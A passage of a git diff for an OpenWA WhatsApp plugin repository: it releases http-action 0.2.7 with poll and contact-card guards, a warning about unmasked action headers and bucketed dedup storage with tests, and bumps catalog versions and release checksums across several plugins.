are still honoured and are drained by the existing hourly sweep, so no command is re-fired. +- Enabling the plugin now warns when an action sets `request.headers`. Those values are returned + unmasked by the plugins API: the host redacts config per schema field, and every action lives inside + one `actions` field, so marking it secret would hide the action definitions themselves. Credentials + belong in the Token / API key field. + +### Fixed + +- A poll or a shared contact card no longer triggers an action. OpenWA 0.23.2 fills the message body for + both, so a poll titled with a configured prefix could fire a real request against the configured + backend and claim the message. Business button and list replies still trigger actions. +- A whitespace-only body is ignored, matching the guard the other command plugins use. + +### Changed + +- **Verified against OpenWA v0.23.3** (testedOpenWAVersion 0.23.0 → 0.23.3). + ## [0.2.6] - 2026-08-20 ### Changed diff --git a/http-action/README.md b/http-action/README.md index 973aba2..78d0af3 100644 --- a/http-action/README.md +++ b/http-action/README.md @@ -14,13 +14,13 @@ | Field | Value | | ----- | ----- | | **Identifier** | `http-action` | -| **Version** | 0.2.6 | -| **Released** | 2026-08-20 | +| **Version** | 0.2.7 | +| **Released** | 2026-08-25 | | **Status** | stable | | **Author** | Yudhi Armyndharis | | **License** | MIT | | **Type** | `extension` | -| **Requires OpenWA** | ≥ 0.8.0 (tested 0.23.0) | +| **Requires OpenWA** | ≥ 0.8.0 (tested 0.23.3) | | **Keywords** | api, rest, automation, connector, whatsapp, openwa | | **Repository** | [OpenWA-plugins/http-action](https://github.com/rmyndharis/OpenWA-plugins/tree/main/http-action) | @@ -110,6 +110,10 @@ Targets OpenWA **≥ 0.8.0**, the release that introduced both capabilities it r (`net.allowConfigHosts` and `conversation:send`). Live config edits apply on the next inbound message (config is re-read per event). +Shared contact cards and polls never trigger an action: from OpenWA 0.23.2 both carry text in the +message body, so a poll titled with one of your prefixes would otherwise fire a real request against +your backend. Tapped business buttons and list replies still trigger actions. + ### Per-session config **Supported.** Every config field (`baseUrl`, auth fields, `actions`, `timeoutMs`, `cooldownSeconds`, @@ -134,7 +138,11 @@ allowlist via `allowConfigHosts`. in-memory per-chat cooldown (fail-open). The handler returns `{ continue: true }` immediately and floats the fetch/render/send, so a slow upstream never stalls the inbound hook. - **Secrets.** `authToken` is marked `secret` in `configSchema`, so the dashboard masks it and preserves - the stored value on save. + the stored value on save. Per-action `request.headers` values are **not** masked: the host redacts + config per schema field, and every action lives inside the single `actions` textarea, so marking that + field secret would hide the action definitions themselves. Put a credential in `authToken` (with + `authType: apikey` naming the header) rather than in an action header; enabling the plugin logs a + warning naming any action that sets one. - **Redirects.** Cross-host redirect and private-IP filtering are the host proxy's responsibility — `ctx.net.fetch` exposes no `redirect` option — so the plugin makes no redirect guarantee. diff --git a/http-action/chat-lock.ts b/http-action/chat-lock.ts new file mode 100644 index 0000000..f1e6cd2 --- /dev/null +++ b/http-action/chat-lock.ts @@ -0,0 +1,20 @@ +// In-worker per-key async mutex: run(key, fn) chains on the key's tail so critical sections for the same +// key run one at a time, while different keys run concurrently. A rejecting section is isolated (the chain +// recovers), and the map entry is dropped once its tail settles. Pure — no ctx. +// NOTE: intentionally duplicated per plugin (plugins ship as self-contained zips) — keep all copies in +// sync; scripts/shared-copies.test.mjs fails the build when they drift. +export class KeyedAsyncLock { + private readonly tails = new Map>(); + + run(key: string, fn: () => Promise): Promise { + const prev = this.tails.get(key) ?? Promise.resolve(); + const next = prev.catch(() => undefined).then(fn); + this.tails.set(key, next); + void next + .catch(() => undefined) + .finally(() => { + if (this.tails.get(key) === next) this.tails.delete(key); + }); + return next; + } +} diff --git a/http-action/index.test.ts b/http-action/index.test.ts index ba33f30..9723d83 100644 --- a/http-action/index.test.ts +++ b/http-action/index.test.ts @@ -30,9 +30,9 @@ function fakeStore(): StorageLike & { m: Map } { }; } -const msg = (body: string, id = 'm1'): IncomingMessage => ({ +const msg = (body: string, id = 'm1', type = 'text'): IncomingMessage => ({ id, from: '62@s.whatsapp.net', to: 'bot', chatId: 'c1', - body, type: 'text', timestamp: 0, fromMe: false, isGroup: false, + body, type, timestamp: 0, fromMe: false, isGroup: false, }) as IncomingMessage; // Minimal PluginContext-shaped ctx for the priority/claim tests below — the file's other tests exercise @@ -60,16 +60,34 @@ function makeCtx(overrides: { // Enables a fresh HttpAction (one '/stock' action) and fires one message:received with `body`, returning // the synchronous {continue} result. The floated handleMessage call is out of scope — never awaited here. -async function runHook(body: string) { +async function runHook(body: string, type = 'text') { let handler: HookHandler | undefined; const ctx = makeCtx({ registerHook: (_e, h) => { handler = h; } }); await new HttpAction().onEnable(ctx as never); return handler!({ event: 'message:received', source: 'Engine', sessionId: 's1', timestamp: new Date(), - data: msg(body), + data: msg(body, 'm1', type), }); } +// From host 0.23.2 a poll arrives with its question as the body and a contact card with its vCard, so a +// non-empty body no longer means someone typed a command. This plugin performs real writes against the +// operator's backend, which makes an accidental trigger the most expensive one in the catalog. +test('a poll or a contact card never triggers an action', async () => { + assert.equal((await runHook('/stock ABC')).continue, false, + 'guard rail: typed as text this body DOES trigger the action and claim the message'); + assert.equal((await runHook('/stock ABC', 'poll')).continue, true, + 'a poll titled with a configured prefix must not fire a request'); + assert.equal((await runHook('/stock ABC', 'contact')).continue, true, + 'nor may a contact card'); + assert.equal((await runHook('/stock ABC', 'unknown')).continue, false, + 'a tapped business button is a legitimate way to invoke an action'); +}); + +test('a whitespace-only body is ignored', async () => { + assert.equal((await runHook(' ')).continue, true); +}); + // ── Co-installation: claim + priority (PLUGIN-STANDARD.md) ───────────────────────────────────────── test('registers first among responders', async () => { diff --git a/http-action/index.ts b/http-action/index.ts index ca66837..4e571e2 100644 --- a/http-action/index.ts +++ b/http-action/index.ts @@ -164,8 +164,15 @@ export default class HttpActionPlugin implements IPlugin { const msg = h.data as IncomingMessage | undefined; if (!sessionId || !msg) return { continue: true }; if (msg.fromMe) return { continue: true }; - if (typeof msg.body !== 'string' || msg.body.length === 0) return { continue: true }; + if (typeof msg.body !== 'string' || !msg.body.trim()) return { continue: true }; if (!msg.chatId || !msg.id) return { continue: true }; + // Since host 0.23.2 a poll arrives with its question as the body and a contact card with its + // vCard, so a non-empty body no longer means someone typed a command. This plugin performs real + // writes against the operator's backend, so an accidental trigger is the most expensive one in + // the catalog: a poll titled with a configured prefix would fire a GET or POST and claim the + // message. 'unknown' stays admitted; a tapped business button is a legitimate way to invoke an + // action. + if (msg.type === 'contact' || msg.type === 'poll') return { continue: true }; // Re-read config per event so a live dashboard edit is picked up without re-enable. let liveCfg: HttpActionConfig; @@ -202,6 +209,18 @@ export default class HttpActionPlugin implements IPlugin { return { continue: !mine }; }, HOOK_PRIORITY); + // Per-action request headers have no `secret: true` home. The host redacts plugin config per schema + // FIELD, and every action lives inside the single `actions` textarea, so a credential typed into an + // action header comes back verbatim on GET /plugins while `authToken` is masked. Marking the whole + // textarea secret would hide the action definitions themselves, so say it once here and name the + // actions, rather than let an operator assume this plugin masks every credential in its config. + const headerActions = cfg.actions.filter(a => a.request.headers).map(a => a.id); + if (headerActions.length) { + ctx.logger.warn( + `${PLUGIN}: action request headers are stored and returned unmasked by the plugins API; put a credential in the Token / API key field (authType 'apikey' names the header) rather than in an action header`, + { actions: headerActions }, + ); + } ctx.logger.log(`${PLUGIN} enabled (${cfg.actions.length} action(s), ${cfg.baseUrl})`); } diff --git a/http-action/manifest.json b/http-action/manifest.json index 629ca75..abf84b7 100644 --- a/http-action/manifest.json +++ b/http-action/manifest.json @@ -1,7 +1,7 @@ { "id": "http-action", "name": "HTTP Action Bot", - "version": "0.2.6", + "version": "0.2.7", "type": "extension", "main": "dist/index.js", "description": "Triggers safe REST API requests from WhatsApp commands and renders JSON responses back to chat.", @@ -18,7 +18,7 @@ "openwa" ], "status": "stable", - "testedOpenWAVersion": "0.23.0", + "testedOpenWAVersion": "0.23.3", "minOpenWAVersion": "0.8.0", "sdkVersion": "1", "provides": [ @@ -91,7 +91,7 @@ "type": "textarea", "title": "Actions (JSON array)", "required": true, - "description": "JSON array of actions. Example: [{\"id\":\"check-order\",\"match\":{\"type\":\"prefix\",\"value\":\"cek-order \"},\"request\":{\"method\":\"GET\",\"path\":\"/orders/{{args.0}}\"},\"replyTemplate\":\"Order {{response.orderId}}: {{response.status}}\"}]. Parsed at config time." + "description": "JSON array of actions. Example: [{\"id\":\"check-order\",\"match\":{\"type\":\"prefix\",\"value\":\"cek-order \"},\"request\":{\"method\":\"GET\",\"path\":\"/orders/{{args.0}}\"},\"replyTemplate\":\"Order {{response.orderId}}: {{response.status}}\"}]. Parsed at config time. Values inside request.headers are NOT masked: this field holds every action as one JSON string, and marking it secret would hide the action definitions themselves, so anything typed into an action header is returned in plaintext by GET /plugins. Put credentials in Token / API key." } } }, diff --git a/http-action/reliability.test.ts b/http-action/reliability.test.ts index a95da84..1cd29bf 100644 --- a/http-action/reliability.test.ts +++ b/http-action/reliability.test.ts @@ -1,6 +1,6 @@ import { test } from 'node:test'; import assert from 'node:assert/strict'; -import { hasSeen, markSeen, prune, allowCooldown, type StorageLike, DEDUP_TTL_MS } from './reliability.ts'; +import { hasSeen, markSeen, prune, allowCooldown, shardOf, type StorageLike, DEDUP_SHARDS, DEDUP_TTL_MS } from './reliability.ts'; // Minimal in-memory StorageLike for tests. Flags simulate storage errors. function fakeStore(opts: { listFail?: boolean; getFail?: boolean; setFail?: boolean } = {}): StorageLike & { m: Map } { @@ -134,3 +134,53 @@ test('DEDUP_TTL_MS export is a positive number (3 days)', () => { assert.ok(DEDUP_TTL_MS > 0); assert.equal(DEDUP_TTL_MS, 3 * 24 * 60 * 60 * 1000); }); + +test('dedup key count stays constant however many commands are answered', async () => { + // The host re-measures its quota on EVERY set by stat-ing every key of the plugin, synchronously, on + // the gateway event loop. One key per answered message meant a busy install (20 commands a minute + // holds ~86,000 markers inside the 3-day window) made every write in every plugin stat that many + // files. + const storage = fakeStore(); + for (let i = 0; i < 500; i++) await markSeen(storage, 's1', `m${i}`, 1000); + const keys = await storage.list(); + assert.equal(keys.filter((k) => k.startsWith('dedup:')).length, 0, 'no per-message key is written'); + assert.ok(keys.length <= DEDUP_SHARDS, `bucket count is bounded, got ${keys.length} keys for 500 markers`); + assert.equal(await hasSeen(storage, 's1', 'm499'), true, 'and every marker still resolves'); + assert.equal(await hasSeen(storage, 's1', 'nope'), false); +}); + +test('a marker written before bucketing is still honoured', async () => { + // Missing one would fire a second real request against the operator's backend on redelivery, which is + // the exact thing dedup exists to prevent. + const storage = fakeStore(); + await storage.set('dedup:s1:old-msg', { t: 1000 }); + assert.equal(await hasSeen(storage, 's1', 'old-msg'), true); + assert.equal(await hasSeen(storage, 's1', 'other'), false); +}); + +test('a bucket ages its own entries out on write, without a global scan', async () => { + const storage = fakeStore(); + await markSeen(storage, 's1', 'old', 0); + assert.equal(await hasSeen(storage, 's1', 'old'), true); + // A later write to the SAME bucket drops the expired entry. + const id = `s1:old`; + const partner = (() => { + for (let i = 0; i < 100_000; i++) if (shardOf(`s1:p${i}`) === shardOf(id)) return `p${i}`; + throw new Error('no colliding id'); + })(); + await markSeen(storage, 's1', partner, DEDUP_TTL_MS + 1); + assert.equal(await hasSeen(storage, 's1', 'old'), false, 'the expired marker is gone'); + assert.equal(await hasSeen(storage, 's1', partner), true, 'the fresh one is kept'); +}); + +test('two markers sharing a bucket do not erase each other', async () => { + // A bucket is a read-modify-write and every await inside it is an IPC round-trip, so interleaving + // would drop a marker and re-fire a real backend request on redelivery. + const storage = fakeStore(); + const target = shardOf('s1:a'); + let partner = ''; + for (let i = 0; i < 100_000 && !partner; i++) if (shardOf(`s1:p${i}`) === target) partner = `p${i}`; + await Promise.all([markSeen(storage, 's1', 'a', 1000), markSeen(storage, 's1', partner, 1000)]); + assert.equal(await hasSeen(storage, 's1', 'a'), true); + assert.equal(await hasSeen(storage, 's1', partner), true); +}); diff --git a/http-action/reliability.ts b/http-action/reliability.ts index 0781a9d..4a2a2d1 100644 --- a/http-action/reliability.ts +++ b/http-action/reliability.ts @@ -6,6 +6,14 @@ // marker is an object {t} and the dup decision is presence-based, so it does not hinge on the storage // bridge preserving a bare number type. Cooldown is in-memory and FAIL-OPEN (it never throws, so it can // never wrongly block). Pure modulo the injected storage. +// +// Markers live in a FIXED number of sharded buckets, not one storage key per answered message. The host +// re-measures its 50 MiB per-plugin quota on EVERY `set` by readdir-ing the plugin's data directory and +// stat-ing every key, synchronously, on the gateway's own event loop. One key per message meant a busy +// install (20 commands a minute holds ~86,000 markers inside the 3-day window) made every storage write +// in the whole plugin, and in every other plugin, stat that many files. + +import { KeyedAsyncLock } from './chat-lock.ts'; export interface StorageLike { get(key: string): Promise; @@ -25,7 +33,37 @@ interface Marker { t?: unknown; } -const dedupKey = (sessionId: string, msgId: string): string => `${KEY_PREFIX}${sessionId}:${msgId}`; +const BUCKET_PREFIX = 'dedupb:'; +export const DEDUP_SHARDS = 256; + +/** The pre-bucketing key: ONE storage file per marker. Still READ (see hasSeen) until the drain has + * emptied the last of them, and drained by prune — never written again. */ +const legacyKey = (sessionId: string, msgId: string): string => `${KEY_PREFIX}${sessionId}:${msgId}`; + +/** The logical marker id. Session included so two sessions never collide on a message id. */ +const markerId = (sessionId: string, msgId: string): string => `${sessionId}:${msgId}`; + +const bucketKey = (shard: number): string => `${BUCKET_PREFIX}s${shard}`; + +/** FNV-1a (32-bit). Only needs to spread ids evenly; a bucket stores the full id as its entry key, so a + * collision merely shares a file. */ +export function shardOf(id: string): number { + let h = 0x811c9dc5; + for (let i = 0; i < id.length; i++) { + h ^= id.charCodeAt(i); + h = Math.imul(h, 0x01000193); + } + return (h >>> 0) % DEDUP_SHARDS; +} + +/** One bucket: logical marker id -> the wall-clock ms it was marked at. */ +type DedupBucket = Record; + +// Serializes the read-modify-write in markSeen, per bucket. A bucket holds many markers and every await +// inside it is an IPC round-trip to the host, so two commands that hash together would interleave their +// get/set and the later write would drop the earlier marker. Losing a marker re-fires a real request +// against the operator's backend on redelivery, which is the one thing dedup exists to prevent. +const bucketLock = new KeyedAsyncLock(); /** * Read-only presence check. True if `msgId` is already marked (or on storage error → fail-closed drop). @@ -40,8 +78,16 @@ export async function hasSeen( onError?: (e: unknown) => void, ): Promise { try { - const v = await storage.get(dedupKey(sessionId, msgId)); - return v !== null && v !== undefined; + const id = markerId(sessionId, msgId); + const bucket = await storage.get(bucketKey(shardOf(id))); + if (bucket && bucket[id] !== undefined) return true; + // Upgrade path: a marker written before bucketing lives in its own key, and missing it would fire a + // second real request against the operator's backend on redelivery. There is deliberately no "no + // legacy keys left, stop looking" flag: the only way to decide that is a storage listing, and the + // host's list() resolves [] on its own errors, which is indistinguishable from genuinely empty, so + // such a flag would retire permanently on one transient failure. + const legacy = await storage.get(legacyKey(sessionId, msgId)); + return legacy !== null && legacy !== undefined; } catch (e) { onError?.(e); return true; // fail-closed: can't read → drop rather than risk a double-fire @@ -50,14 +96,32 @@ export async function hasSeen( /** Record a marker AFTER a successful reply so a failed send retries on redelivery. Best-effort. */ export async function markSeen(storage: StorageLike, sessionId: string, msgId: string, now: number): Promise { + const id = markerId(sessionId, msgId); + const key = bucketKey(shardOf(id)); try { - await storage.set(dedupKey(sessionId, msgId), { t: now }); + await bucketLock.run(key, async () => { + const bucket = (await storage.get(key)) ?? {}; + // Age the bucket out on write, so growth is bounded without any global scan. A bucket that stops + // receiving writes keeps its last window of ids: bounded, and harmless, since they can only ever + // match ids that will never recur. + const next: DedupBucket = {}; + for (const [k, t] of Object.entries(bucket)) { + if (typeof t === 'number' && now - t < DEDUP_TTL_MS) next[k] = t; + } + next[id] = now; + await storage.set(key, next); + }); } catch { /* best-effort: a redelivery may re-fire, which is the safer failure mode */ } } -/** Delete dedup markers older than `ttlMs`. Throttled by a persisted last-prune timestamp; best-effort. */ +/** + * Drain the per-message `dedup:` markers written before bucketing. Nothing writes them any more (a mark + * goes into a `dedupb:` bucket, which ages itself out on write), so on a fresh install this finds + * nothing and on an upgraded one it empties the leftovers. Throttled by a persisted last-prune + * timestamp; best-effort. + */ export async function prune( storage: StorageLike, now: number, diff --git a/package.json b/package.json index 4a7ff60..69411b9 100644 --- a/package.json +++ b/package.json @@ -10,6 +10,7 @@ "build": "set -e; for d in */; do if [ -f \"${d}manifest.json\" ]; then node package.mjs \"${d%/}\"; fi; done", "catalog": "node scripts/catalog.mjs", "catalog:check": "node scripts/catalog.mjs --check", + "catalog:live": "node scripts/catalog-live-check.mjs", "loader:check": "node scripts/loader-check.mjs", "test": "node scripts/run-tests.mjs", "test:coverage": "node scripts/run-tests.mjs --experimental-test-coverage", diff --git a/package.mjs b/package.mjs index 604687c..c008b62 100644 --- a/package.mjs +++ b/package.mjs @@ -94,6 +94,10 @@ if (!result.some((f) => f.name === mainInZip)) { // ── Report size + sha256 (release artifacts — surfaced here and in the GitHub Release) ── // Size is checked before the write, not after: an oversized archive that fails the limit used to be // left behind on disk anyway. +// The host caps a package at 200 members as well as 5 MB, and refuses the whole install on either. +// A configUi entry is expanded recursively, so a static editor bundle reaches the file count long +// before the byte count, and that refusal would land at install, after the release is published. +if (result.length > 200) fail(`package has ${result.length} files, over the 200-file install limit`); const zip = zipStore(result); const kb = (zip.length / 1024).toFixed(1); if (zip.length > 5 * 1024 * 1024) fail(`package is ${kb} KB, over the 5 MB install limit`); diff --git a/plugins.json b/plugins.json index 0dae797..eb04f14 100644 --- a/plugins.json +++ b/plugins.json @@ -2,7 +2,7 @@ { "id": "after-hours", "name": "After-Hours Auto-Reply", - "version": "0.2.5", + "version": "0.2.6", "type": "extension", "status": "stable", "description": "Auto-replies with a configurable away/closing message to messages received outside business hours.", @@ -17,12 +17,12 @@ "openwa" ], "minOpenWAVersion": "0.7.0", - "testedOpenWAVersion": "0.23.0", - "releasedAt": "2026-08-20", + "testedOpenWAVersion": "0.23.3", + "releasedAt": "2026-08-25", "repoPath": "after-hours", "repoUrl": "https://github.com/rmyndharis/OpenWA-plugins", "homepage": "https://github.com/rmyndharis/OpenWA-plugins/tree/main/after-hours", - "download": "https://github.com/rmyndharis/OpenWA-plugins/releases/download/after-hours-v0.2.5/after-hours.zip#sha256=6d7f987d753c49252e1420252c0c8697c1a051eec3205df65b35be0f3cb93b58", + "download": "https://github.com/rmyndharis/OpenWA-plugins/releases/download/after-hours-v0.2.6/after-hours.zip#sha256=745b298c89ddd88ef5a0d961cf096a3a4fffdbca335afe733770594dfeecc613", "permissions": [ "messages:send" ], @@ -203,7 +203,7 @@ { "id": "chat-flow", "name": "Chat Flow", - "version": "1.1.6", + "version": "1.1.7", "type": "extension", "status": "stable", "description": "Interactive, stateful auto-reply: a trigger word starts a greeting + numbered menu, replies traverse a configurable menu tree, and per-chat state expires after 15 minutes.", @@ -219,12 +219,12 @@ "openwa" ], "minOpenWAVersion": "0.7.0", - "testedOpenWAVersion": "0.23.0", - "releasedAt": "2026-08-20", + "testedOpenWAVersion": "0.23.3", + "releasedAt": "2026-08-25", "repoPath": "chat-flow", "repoUrl": "https://github.com/rmyndharis/OpenWA-plugins", "homepage": "https://github.com/rmyndharis/OpenWA-plugins/tree/main/chat-flow", - "download": "https://github.com/rmyndharis/OpenWA-plugins/releases/download/chat-flow-v1.1.6/chat-flow.zip#sha256=d7b4db02ad4922460964f14f15f93bd4b72bfac1dd4e46108b53d283930c2f0b", + "download": "https://github.com/rmyndharis/OpenWA-plugins/releases/download/chat-flow-v1.1.7/chat-flow.zip#sha256=11ea855b29886357f3a70386ea8b3018a92093661cfc4abb4dd9824865671aa5", "permissions": [ "messages:send", "storage:use" @@ -382,7 +382,7 @@ { "id": "chatwoot-adapter", "name": "Chatwoot Adapter", - "version": "0.9.5", + "version": "0.9.6", "type": "extension", "status": "stable", "description": "Two-way sync between a WhatsApp session and a Chatwoot inbox: relays WhatsApp messages (1:1 and groups, with media) into Chatwoot as an API-channel inbox, sends agent replies back to WhatsApp, and hands a chat over to a human agent — silencing other OpenWA bots — when an agent takes it in Chatwoot. First consumer of the OpenWA Integration SDK v1; runs sandboxed in the plugin worker.", @@ -399,12 +399,12 @@ "openwa" ], "minOpenWAVersion": "0.8.7", - "testedOpenWAVersion": "0.23.0", - "releasedAt": "2026-08-20", + "testedOpenWAVersion": "0.23.3", + "releasedAt": "2026-08-25", "repoPath": "chatwoot-adapter", "repoUrl": "https://github.com/rmyndharis/OpenWA-plugins", "homepage": "https://github.com/rmyndharis/OpenWA-plugins/tree/main/chatwoot-adapter", - "download": "https://github.com/rmyndharis/OpenWA-plugins/releases/download/chatwoot-adapter-v0.9.5/chatwoot-adapter.zip#sha256=c866bbc7a3ebdfee4136c7bfdfe31e1d6c345a32081f561ca8542a0364dedf27", + "download": "https://github.com/rmyndharis/OpenWA-plugins/releases/download/chatwoot-adapter-v0.9.6/chatwoot-adapter.zip#sha256=f9bfc9c2b4e3cf5ee8804b117f28eeb8661e03731f57f64f4706fdf374e051cb", "permissions": [ "net:fetch", "conversation:send", @@ -695,7 +695,7 @@ { "id": "faq-bot", "name": "FAQ / Auto-Reply Bot", - "version": "0.2.5", + "version": "0.2.6", "type": "extension", "status": "stable", "description": "Auto-replies to inbound WhatsApp messages from configurable FAQ keyword/regex rules.", @@ -710,12 +710,12 @@ "openwa" ], "minOpenWAVersion": "0.6.1", - "testedOpenWAVersion": "0.23.0", - "releasedAt": "2026-08-20", + "testedOpenWAVersion": "0.23.3", + "releasedAt": "2026-08-25", "repoPath": "faq-bot", "repoUrl": "https://github.com/rmyndharis/OpenWA-plugins", "homepage": "https://github.com/rmyndharis/OpenWA-plugins/tree/main/faq-bot", - "download": "https://github.com/rmyndharis/OpenWA-plugins/releases/download/faq-bot-v0.2.5/faq-bot.zip#sha256=50e71bcd2f724d6143294f7c9d2e60c88a3e5b3afadbdad63f6b42bf79d16e40", + "download": "https://github.com/rmyndharis/OpenWA-plugins/releases/download/faq-bot-v0.2.6/faq-bot.zip#sha256=aea70a68bbf7057ce755f2e10f4a085e54741399aede6dd8c197dd2197c9b635", "permissions": [ "messages:send" ], @@ -872,7 +872,7 @@ { "id": "group-translate", "name": "Group Auto-Translation", - "version": "1.3.5", + "version": "1.3.6", "type": "extension", "status": "stable", "description": "Auto-translates group messages between participants' languages via a LibreTranslate backend. Configure in-chat with /tr commands. Admin-gated; disabled until enabled.", @@ -886,13 +886,13 @@ "whatsapp", "openwa" ], - "minOpenWAVersion": "0.7.0", - "testedOpenWAVersion": "0.23.0", - "releasedAt": "2026-08-20", + "minOpenWAVersion": "0.8.0", + "testedOpenWAVersion": "0.23.3", + "releasedAt": "2026-08-25", "repoPath": "group-translate", "repoUrl": "https://github.com/rmyndharis/OpenWA-plugins", "homepage": "https://github.com/rmyndharis/OpenWA-plugins/tree/main/group-translate", - "download": "https://github.com/rmyndharis/OpenWA-plugins/releases/download/group-translate-v1.3.5/group-translate.zip#sha256=2b2d80c8703cee9e8658d1810234318396e6da1036bb3599477475aac91d40a4", + "download": "https://github.com/rmyndharis/OpenWA-plugins/releases/download/group-translate-v1.3.6/group-translate.zip#sha256=fcae195d62982c2f6ef4e61cb917963a008aef549b49ec23c5fed93f33642e3c", "permissions": [ "messages:send", "engine:read", @@ -1156,7 +1156,7 @@ { "id": "gsheets-logger", "name": "Google Sheets Logger", - "version": "0.3.7", + "version": "0.3.8", "type": "extension", "status": "stable", "description": "Logs WhatsApp message events to a Google Sheet via a service account.", @@ -1171,12 +1171,12 @@ "openwa" ], "minOpenWAVersion": "0.7.0", - "testedOpenWAVersion": "0.23.0", - "releasedAt": "2026-08-20", + "testedOpenWAVersion": "0.23.3", + "releasedAt": "2026-08-25", "repoPath": "gsheets-logger", "repoUrl": "https://github.com/rmyndharis/OpenWA-plugins", "homepage": "https://github.com/rmyndharis/OpenWA-plugins/tree/main/gsheets-logger", - "download": "https://github.com/rmyndharis/OpenWA-plugins/releases/download/gsheets-logger-v0.3.7/gsheets-logger.zip#sha256=31936f8d805eaf19b62ed93227f1af39829c4afff79d551eb907870fed14ddb7", + "download": "https://github.com/rmyndharis/OpenWA-plugins/releases/download/gsheets-logger-v0.3.8/gsheets-logger.zip#sha256=5a00723c497b08c609964116608c351fa3edae32fa6d252eb69ed3df71d3b9cb", "permissions": [ "net:fetch", "storage:use" @@ -1363,7 +1363,7 @@ { "id": "http-action", "name": "HTTP Action Bot", - "version": "0.2.6", + "version": "0.2.7", "type": "extension", "status": "stable", "description": "Triggers safe REST API requests from WhatsApp commands and renders JSON responses back to chat.", @@ -1378,12 +1378,12 @@ "openwa" ], "minOpenWAVersion": "0.8.0", - "testedOpenWAVersion": "0.23.0", - "releasedAt": "2026-08-20", + "testedOpenWAVersion": "0.23.3", + "releasedAt": "2026-08-25", "repoPath": "http-action", "repoUrl": "https://github.com/rmyndharis/OpenWA-plugins", "homepage": "https://github.com/rmyndharis/OpenWA-plugins/tree/main/http-action", - "download": "https://github.com/rmyndharis/OpenWA-plugins/releases/download/http-action-v0.2.6/http-action.zip#sha256=650634f8acd20b4a2f0391b078b071f6512f3308d75d43a8341c0764bbcb4da5", + "download": "https://github.com/rmyndharis/OpenWA-plugins/releases/download/http-action-v0.2.7/http-action.zip#sha256=f7bde991df69a98e2f6e766875b3e0f57a727cc880590800f362804156ce9897", "permissions": [ "net:fetch", "conversation:send", @@ -1643,7 +1643,7 @@ { "id": "supabase-otp-hook", "name": "Supabase Auth OTP", - "version": "0.3.4", + "version": "0.3.5", "type": "extension", "status": "beta", "description": "Deliver Supabase Auth phone OTPs over WhatsApp.", @@ -1660,12 +1660,12 @@ "openwa" ], "minOpenWAVersion": "0.8.16", - "testedOpenWAVersion": "0.23.0", - "releasedAt": "2026-08-20", + "testedOpenWAVersion": "0.23.3", + "releasedAt": "2026-08-25", "repoPath": "supabase-otp-hook", "repoUrl": "https://github.com/rmyndharis/OpenWA-plugins", "homepage": "https://github.com/rmyndharis/OpenWA-plugins/tree/main/supabase-otp-hook", - "download": "https://github.com/rmyndharis/OpenWA-plugins/releases/download/supabase-otp-hook-v0.3.4/supabase-otp-hook.zip#sha256=827be1d02d8578dda21ca37c10ae14bb38a165472375c845639d0cf4bcd5cc48", + "download": "https://github.com/rmyndharis/OpenWA-plugins/releases/download/supabase-otp-hook-v0.3.5/supabase-otp-hook.zip#sha256=8fa1de12eb34b89f92675523ff847f033c7a282ca6457cff61a036f087727b9c", "permissions": [ "webhook:ingress", "messages:send" @@ -1828,7 +1828,7 @@ { "id": "typebot-connector", "name": "Typebot Connector", - "version": "0.2.6", + "version": "0.2.7", "type": "extension", "status": "stable", "description": "Runs a Typebot flow as the brain of a WhatsApp bot: inbound messages drive a Typebot chat session via the live Chat API, and the bot's replies — text, media, and numbered-choice inputs — are sent back to WhatsApp. Auto-starts every chat, handles file-upload steps, and resets when the flow ends or after an idle timeout. Runs sandboxed in the plugin worker; no public URL or webhook required.", @@ -1845,12 +1845,12 @@ "openwa" ], "minOpenWAVersion": "0.8.2", - "testedOpenWAVersion": "0.23.0", - "releasedAt": "2026-08-20", + "testedOpenWAVersion": "0.23.3", + "releasedAt": "2026-08-25", "repoPath": "typebot-connector", "repoUrl": "https://github.com/rmyndharis/OpenWA-plugins", "homepage": "https://github.com/rmyndharis/OpenWA-plugins/tree/main/typebot-connector", - "download": "https://github.com/rmyndharis/OpenWA-plugins/releases/download/typebot-connector-v0.2.6/typebot-connector.zip#sha256=5c7cf5a87bed497f01593a9cd2f02e13adbba18b8bd6c79f198da5f9db2cb5fb", + "download": "https://github.com/rmyndharis/OpenWA-plugins/releases/download/typebot-connector-v0.2.7/typebot-connector.zip#sha256=d687203372c7cf3348b95d43f091985495a0ad56aa7840130f37cc4af31c72dc", "permissions": [ "net:fetch", "conversation:send", @@ -2087,7 +2087,7 @@ { "id": "voice-transcription", "name": "Voice Note Transcription", - "version": "1.2.7", + "version": "1.2.8", "type": "extension", "status": "beta", "description": "Transcribes inbound WhatsApp voice notes to text via an OpenAI-compatible speech-to-text backend (self-hosted Speaches/faster-whisper or hosted Groq/OpenAI) and delivers a `message.transcription` event to your webhook — so bots and AI can read and reply to audio. Off the message-delivery path; disabled until enabled.", @@ -2103,13 +2103,13 @@ "whatsapp", "openwa" ], - "minOpenWAVersion": "0.7.0", - "testedOpenWAVersion": "0.23.0", - "releasedAt": "2026-08-20", + "minOpenWAVersion": "0.8.0", + "testedOpenWAVersion": "0.23.3", + "releasedAt": "2026-08-25", "repoPath": "voice-transcription", "repoUrl": "https://github.com/rmyndharis/OpenWA-plugins", "homepage": "https://github.com/rmyndharis/OpenWA-plugins/tree/main/voice-transcription", - "download": "https://github.com/rmyndharis/OpenWA-plugins/releases/download/voice-transcription-v1.2.7/voice-transcription.zip#sha256=ac4c051c5ccca96a2c9685a6dfa28a3aee700c43a7befa7143ae0a7281fd39ca", + "download": "https://github.com/rmyndharis/OpenWA-plugins/releases/download/voice-transcription-v1.2.8/voice-transcription.zip#sha256=1c3718b5927c539dc21c632020f829c021bd997dda52d8f2111a59e67fda5ede", "permissions": [ "net:fetch", "messages:send", diff --git a/scripts/catalog-live-check.mjs b/scripts/catalog-live-check.mjs new file mode 100644 index 0000000..cc12f20 --- /dev/null +++ b/scripts/catalog-live-check.mjs @@ -0,0 +1,78 @@ +#!/usr/bin/env node +// Fetch every `download` URL in plugins.json and verify the bytes against the `#sha256=` pin. +// +// `catalog:check` only proves plugins.json can be REGENERATED from the working tree. It says nothing +// about whether the releases it points at exist. Those are two different failure modes and both have +// shipped: +// +// 1. Versions are bumped, the catalog is regenerated and merged, and the tags are never pushed. +// Every entry then names a release that does not exist and the host, which defaults +// PLUGIN_CATALOG_URL to this file on `main`, fails every install with a bare 404 (the download +// is fetched before the pin is consulted, so the operator gets no hint about the cause). +// 2. A plugin's source is edited without a version bump. The catalog regenerates the pin from the +// new bytes while the URL still names the old tag, and installs fail on a sha256 mismatch. +// +// Neither is visible to any other check in this repo, and both are invisible until a user tries to +// install. Run this on push to `main` and nightly. No token: these are public release assets. 